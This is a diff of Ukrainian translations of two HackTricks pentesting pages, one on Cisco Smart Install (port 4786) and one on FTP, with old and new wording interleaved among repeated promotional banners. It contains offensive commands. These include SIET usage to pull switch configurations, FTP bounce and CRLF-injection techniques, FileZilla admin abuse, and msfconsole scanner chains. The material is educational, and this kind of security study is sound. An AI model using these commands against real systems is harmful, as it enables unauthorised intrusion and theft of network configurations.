**Підказка щодо винагороди за помилки**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для винагород за помилки, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,58 +1,72 @@
# 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Базова інформація
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
**Cisco Smart Install** - це розробка Cisco, яка автоматизує початкову конфігурацію та завантаження образу операційної системи для нового обладнання Cisco. **За замовчуванням Cisco Smart Install активний на обладнанні Cisco та використовує протокол транспортного рівня TCP з номером порту 4786.**
{% embed url="https://websec.nl/" %}
## Basic Information
**Cisco Smart Install** - це рішення Cisco, розроблене для автоматизації початкової конфігурації та завантаження образу операційної системи для нового обладнання Cisco. **За замовчуванням Cisco Smart Install активний на обладнанні Cisco і використовує протокол транспортного рівня TCP з номером порту 4786.**
**Порт за замовчуванням:** 4786
```
PORT STATE SERVICE
4786/tcp open smart-install
```
## **Інструмент експлуатації Smart Install**
## **Smart Install Exploitation Tool**
**У 2018 році була виявлена критична вразливість, CVE-20180171, в цьому протоколі. Рівень загрози становить 9,8 за шкалою CVSS.**
**У 2018 році в цьому протоколі була виявлена критична вразливість, CVE-20180171. Рівень загрози становить 9.8 за шкалою CVSS.**
**Спеціально сформований пакет, відправлений на порт TCP/4786, де активний Cisco Smart Install, спричиняє переповнення буфера, що дозволяє зловмиснику:**
**Спеціально підготовлений пакет, надісланий на TCP/4786 порт, де активний Cisco Smart Install, викликає переповнення буфера, що дозволяє зловмиснику:**
* примусово перезавантажити пристрій
* викликати RCE
* викрасти конфігурації мережевого обладнання.
* вкрасти конфігурації мережевого обладнання.
**[SIET](https://github.com/frostbits-security/SIET) (Smart Install Exploitation Tool)** був розроблений для експлуатації цієї вразливості, він дозволяє використовувати Cisco Smart Install. У цій статті я покажу вам, як ви можете прочитати файл конфігурації легітимного обладнання мережі. Налаштування ексфільтрації може бути корисним для пентестера, оскільки він дізнається про унікальні особливості мережі. Це спростить життя і дозволить знайти нові вектори для атаки.
**Інструмент** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** був розроблений для використання цієї вразливості, він дозволяє зловживати Cisco Smart Install. У цій статті я покажу вам, як ви можете прочитати легітимний файл конфігурації мережевого обладнання. Налаштування ексфільтрації може бути цінним для пентестера, оскільки це дозволить дізнатися про унікальні особливості мережі. І це полегшить життя та дозволить знайти нові вектори для атаки.
**Цільовим пристроєм буде "живий" комутатор Cisco Catalyst 2960. Віртуальні зображення не мають Cisco Smart Install, тому ви можете вправлятися лише на реальному обладнанні.**
**Цільовим пристроєм буде "живий" комутатор Cisco Catalyst 2960. Віртуальні образи не мають Cisco Smart Install, тому ви можете практикуватися лише на реальному обладнанні.**
Адреса цільового комутатора - **10.10.100.10 і CSI активний.** Завантажте SIET та розпочніть атаку. **Аргумент -g** означає ексфільтрацію конфігурації з пристрою, **аргумент -i** дозволяє встановити IP-адресу вразливої цільової системи.
Адреса цільового комутатора **10.10.100.10 і CSI активний.** Завантажте SIET і почніть атаку. **Аргумент -g** означає ексфільтрацію конфігурації з пристрою, **аргумент -i** дозволяє вам встановити IP-адресу вразливого цільового пристрою.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
Конфігурація комутатора **10.10.100.10** буде в папці **tftp/**
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# 21 - Тестування на проникнення FTP
# 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,36 +25,36 @@
## Основна інформація
**Протокол передачі файлів (FTP)** служить стандартним протоколом для передачі файлів по комп'ютерній мережі між сервером та клієнтом.\
Це **текстовий** протокол, який використовує як **символ нового рядка `0x0d 0x0a`**, тому іноді вам потрібно **підключатися за допомогою `telnet`** або **`nc -C`**.
**Протокол передачі файлів (FTP)** слугує стандартним протоколом для передачі файлів через комп'ютерну мережу між сервером і клієнтом.\
Це **протокол у відкритому тексті**, який використовує **символ нового рядка `0x0d 0x0a`**, тому іноді вам потрібно **підключитися за допомогою `telnet`** або **`nc -C`**.
**Порт за замовчуванням:** 21
```
PORT STATE SERVICE
21/tcp open ftp
```
### Активне та Пасивне Підключення
### Connections Active & Passive
У **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **підключення** зі свого порту N до порту команд FTP-сервера - порту 21. Після цього **клієнт** **слухає** порт **N+1** та відправляє порт N+1 на FTP-сервер. FTP **сервер** потім **ініціює** підключення даних зі свого порту M до порту N+1 FTP-клієнта.
В **Active FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з його порту N до командного порту FTP сервера порту 21. Потім **клієнт** **слухає** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
Проте, якщо у FTP-клієнта налаштований брандмауер, який контролює вхідні підключення даних ззовні, то активний FTP може бути проблемою. І можливим рішенням для цього є Пасивний FTP.
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Passive FTP.
У **Пасивному FTP** клієнт ініціює контрольне підключення зі свого порту N до порту 21 FTP-сервера. Після цього клієнт видає команду **passv**. Сервер потім відправляє клієнту один зі своїх номерів портів M. І **клієнт** **ініціює** підключення даних зі свого порту P до порту M FTP-сервера.
В **Passive FTP** клієнт ініціює контрольне з'єднання з його порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один з його номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
Джерело: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Налагодження Підключення
### Connection debugging
Команди **FTP** **`debug`** та **`trace`** можуть бути використані для перегляду **як відбувається комунікація**.
Команди **FTP** **`debug`** та **`trace`** можуть бути використані для того, щоб побачити **як відбувається комунікація**.
## Перелік
## Enumeration
### Захоплення Банера
### Banner Grabbing
```bash
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### Підключення до FTP за допомогою starttls
### Підключення до FTP з використанням starttls
```
lftp
lftp :~> set ftp:ssl-force true
@ -61,9 +64,9 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
```
### Неавтентифікована перевірка
### Unauth enum
За допомогою **nmap**
З **nmap**
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
@ -119,102 +122,102 @@ ftp <IP>
```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
Тут ви можете знайти гарний список зі стандартними ftp обліковими даними: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
Тут ви можете знайти гарний список з типовими ftp обліковими даними: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Автоматизовано
### Automated
Перевірка FTP з можливістю анонімного входу та переадресації виконується за замовчуванням за допомогою nmap з опцією **-sC** або:
Анонімний вхід та перевірки bounce FTP виконуються за замовчуванням nmap з опцією **-sC** або:
```bash
nmap --script ftp-* -p 21 <ip>
```
## Підключення браузера
## Browser connection
Ви можете підключитися до FTP-сервера за допомогою браузера (наприклад, Firefox), використовуючи URL-адресу:
Ви можете підключитися до FTP-сервера, використовуючи браузер (наприклад, Firefox), за допомогою URL, як-от:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Зверніть увагу, що якщо **веб-застосунок** надсилає дані, котрі контролює користувач, **прямо на FTP-сервер**, ви можете надіслати подвійне кодування URL `%0d%0a` (у подвійному кодуванні URL це `%250d%250a`) байтів і змусити **FTP-сервер виконувати довільні дії**. Однією з можливих довільних дій є завантаження вмісту з сервера, котрим керує користувач, виконання сканування портів або спроба спілкування з іншими службами на основі простого тексту (наприклад, http).
Зверніть увагу, що якщо **веб-додаток** надсилає дані, контрольовані користувачем, **безпосередньо на FTP-сервер**, ви можете надіслати подвоєне URL-кодування `%0d%0a` (в подвоєному URL-кодуванні це `%250d%250a`) байти і змусити **FTP-сервер виконувати довільні дії**. Однією з цих можливих довільних дій є завантаження вмісту з сервера, контрольованого користувачем, виконання сканування портів або спроба зв'язатися з іншими сервісами на основі простого тексту (наприклад, http).
## Завантажити всі файли з FTP
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Якщо ваш логін/пароль містить спеціальні символи, можна використати [наступну команду](https://stackoverflow.com/a/113900/13647948):
Якщо ваш логін/пароль містить спеціальні символи, можна використовувати [наступну команду](https://stackoverflow.com/a/113900/13647948):
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Деякі FTP-команди
## Деякі команди FTP
* **`USER username`**
* **`PASS password`**
* **`HELP`** Сервер вказує, які команди підтримуються
* \*\*`PORT 127,0,0,1,0,80`\*\* Це вказує FTP-серверу встановити з'єднання з IP 127.0.0.1 на порті 80 (_потрібно встановити 5-й символ як "0" і 6-й як порт у десятковому або використовувати 5-й і 6-й для вираження порту у шістнадцятковій системі_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Це вказує FTP-серверу встановити з'єднання TCP (_позначене як "2"_) з IP 127.0.0.1 на порті 80. Ця команда **підтримує IPv6**.
* **`LIST`** Це відправить список файлів у поточній папці
* **`LIST -R`** Рекурсивний перелік (якщо дозволено сервером)
* **`APPE /path/something.txt`** Це вказує FTP зберегти отримані дані з **пасивного** з'єднання або з'єднання з **PORT/EPRT** у файл. Якщо ім'я файлу існує, дані будуть додані.
* **`STOR /path/something.txt`** Те ж саме, що й `APPE`, але перезапише файли
* **`STOU /path/something.txt`** Те ж саме, що й `APPE`, але якщо файл існує, нічого не зробить.
* **`RETR /path/to/file`** Потрібно встановити пасивне або портове з'єднання. Потім FTP-сервер відправить вказаний файл через це з'єднання
* **`REST 6`** Це вказує серверу, що наступного разу, коли він відправить щось за допомогою `RETR`, він повинен почати з 6-го байту.
* **`TYPE i`** Встановити передачу у бінарному режимі
* **`PASV`** Це відкриє пасивне з'єднання та покаже користувачеві, куди він може підключитися
* \*\*`PORT 127,0,0,1,0,80`\*\*Це вказує FTP-серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_вам потрібно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Це вказує FTP-серверу встановити TCP-з'єднання (_вказане "2"_) з IP 127.0.0.1 на порту 80. Ця команда **підтримує IPv6**.
* **`LIST`** Це надішле список файлів у поточній папці
* **`LIST -R`** Список рекурсивно (якщо дозволено сервером)
* **`APPE /path/something.txt`** Це вказує FTP зберегти дані, отримані з **пасивного** з'єднання або з **PORT/EPRT** з'єднання, у файл. Якщо ім'я файлу існує, дані будуть додані.
* **`STOR /path/something.txt`** Як `APPE`, але він перезапише файли
* **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не зробить.
* **`RETR /path/to/file`** Має бути встановлено пасивне або портове з'єднання. Тоді FTP-сервер надішле вказаний файл через це з'єднання
* **`REST 6`** Це вказує серверу, що наступного разу, коли він надішле щось за допомогою `RETR`, він повинен почати з 6-го байта.
* **`TYPE i`** Встановити передачу в двійковому форматі
* **`PASV`** Це відкриє пасивне з'єднання і вкаже користувачу, куди він може підключитися
* **`PUT /tmp/file.txt`** Завантажити вказаний файл на FTP
![](<../../.gitbook/assets/image (227).png>)
![](<../../.gitbook/assets/image (386).png>)
## Атака FTPBounce
Деякі FTP-сервери дозволяють команду PORT. Цю команду можна використовувати для вказівки серверу, що ви хочете підключитися до іншого FTP-сервера на певному порті. Потім ви можете використовувати це для сканування відкритих портів хоста через FTP-сервер.
Деякі FTP-сервери дозволяють команду PORT. Цю команду можна використовувати, щоб вказати серверу, що ви хочете підключитися до іншого FTP-сервера на певному порту. Тоді ви можете використовувати це для сканування, які порти хоста відкриті через FTP-сервер.
[**Дізнайтеся тут, як зловживати FTP-сервером для сканування портів.**](ftp-bounce-attack.md)
Ви також можете зловживати цим поведінкою, щоб зробити FTP-сервер взаємодіювати з іншими протоколами. Ви можете **завантажити файл, що містить запит HTTP**, і змусити вразливий FTP-сервер **відправити його на довільний HTTP-сервер** (_можливо, щоб додати нового адміністратора?_) або навіть завантажити запит FTP і змусити вразливий FTP-сервер завантажити файл для іншого FTP-сервера.\
Ви також можете зловживати цією поведінкою, щоб змусити FTP-сервер взаємодіяти з іншими протоколами. Ви могли б **завантажити файл, що містить HTTP-запит** і змусити вразливий FTP-сервер **надіслати його на довільний HTTP-сервер** (_можливо, щоб додати нового адміністратора?_) або навіть завантажити FTP-запит і змусити вразливий FTP-сервер завантажити файл з іншого FTP-сервера.\
Теорія проста:
1. **Завантажте запит (у текстовому файлі) на вразливий сервер.** Пам'ятайте, що якщо ви хочете спілкуватися з іншим HTTP- або FTP-сервером, вам потрібно змінити рядки на `0x0d 0x0a`
2. **Використовуйте `REST X`, щоб уникнути відправлення символів, які ви не хочете відправляти** (можливо, для завантаження запиту всередині файлу вам потрібно було додати деякий заголовок зображення на початку)
1. **Завантажте запит (всередині текстового файлу) на вразливий сервер.** Пам'ятайте, що якщо ви хочете спілкуватися з іншим HTTP або FTP-сервером, вам потрібно змінити рядки на `0x0d 0x0a`
2. **Використовуйте `REST X`, щоб уникнути надсилання символів, які ви не хочете надсилати** (можливо, щоб завантажити запит всередині файлу, вам потрібно було вставити заголовок зображення на початку)
3. **Використовуйте `PORT`, щоб підключитися до довільного сервера та служби**
4. **Використовуйте `RETR`, щоб відправити збережений запит на сервер.**
4. **Використовуйте `RETR`, щоб надіслати збережений запит на сервер.**
Дуже ймовірно, що це **викине помилку** _**Socket not writable**_ **через те, що з'єднання не триває достатньо довго, щоб відправити дані за допомогою `RETR`**. Рекомендації для спроб уникнути цього:
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані за допомогою `RETR`**. Пропозиції, щоб спробувати уникнути цього:
* Якщо ви відправляєте запит HTTP, **повторюйте той самий запит один за одним** до **\~0.5 МБ** як мінімум. Наприклад:
* Якщо ви надсилаєте HTTP-запит, **поставте той же запит один за одним** до **\~0.5MB** принаймні. Ось так:
{% file src="../../.gitbook/assets/posts (1).txt" %}
{% file src="../../.gitbook/assets/posts.txt" %}
posts.txt
{% endfile %}
* Спробуйте **заповнити запит "сміттям" даних відносно протоколу** (спілкуючись з FTP можливо просто сміттєві команди або повторення інструкції `RETR` для отримання файлу)
* Просто **заповніть запит багатьма нульовими символами або іншими** (розділені на рядки або ні)
* Спробуйте **заповнити запит "сміттєвими" даними, що стосуються протоколу** (говорячи про FTP, можливо, просто сміттєві команди або повторюючи інструкцію `RETR`, щоб отримати файл)
* Просто **заповніть запит великою кількістю нульових символів або інших** (розділених на рядки або ні)
У будь-якому випадку, ось [старий приклад того, як зловживати цим, щоб зробити FTP-сервер завантажити файл з іншого FTP-сервера.](ftp-bounce-download-2oftp-file.md)
У будь-якому випадку, ось вам [старий приклад про те, як зловживати цим, щоб змусити FTP-сервер завантажити файл з іншого FTP-сервера.](ftp-bounce-download-2oftp-file.md)
## Вразливість сервера Filezilla
## Уразливість сервера Filezilla
**FileZilla** зазвичай **прив'язується** до **локального** адміністративного сервісу для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера**, щоб отримати доступ до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** нового **користувача** для служби FTP.
**FileZilla** зазвичай **прив'язується** до **локального** **адміністративного сервісу** для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера** для доступу до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** **нового користувача** для FTP-сервісу.
## Файли конфігурації
## Конфігураційні файли
```
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
```
### Післяексплуатаційний етап
### Пост-експлуатація
Конфігурацію за замовчуванням vsFTPd можна знайти в `/etc/vsftpd.conf`. Тут можна знайти деякі небезпечні налаштування:
За замовчуванням конфігурація vsFTPd знаходиться в `/etc/vsftpd.conf`. Тут ви можете знайти деякі небезпечні налаштування:
* `anonymous_enable=YES`
* `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Директорія для анонімного користувача.
* `chown_uploads=YES` - Змінити власника анонімно завантажених файлів
* `chown_username=username` - Користувач, якому надається власність анонімно завантажених файлів
* `local_enable=YES` - Увімкнути можливість входу локальних користувачів
* `anon_root=/home/username/ftp` - Директорія для анонімних користувачів.
* `chown_uploads=YES` - Змінити власність анонімно завантажених файлів
* `chown_username=username` - Користувач, якому надається власність на анонімно завантажені файли
* `local_enable=YES` - Дозволити локальним користувачам входити в систему
* `no_anon_password=YES` - Не запитувати анонімного користувача про пароль
* `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE та SITE
* `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, і SITE
### Shodan
@ -225,13 +228,13 @@ vsftpd.conf
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Автоматичні команди HackTricks
## HackTricks Автоматичні команди
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
@ -283,14 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
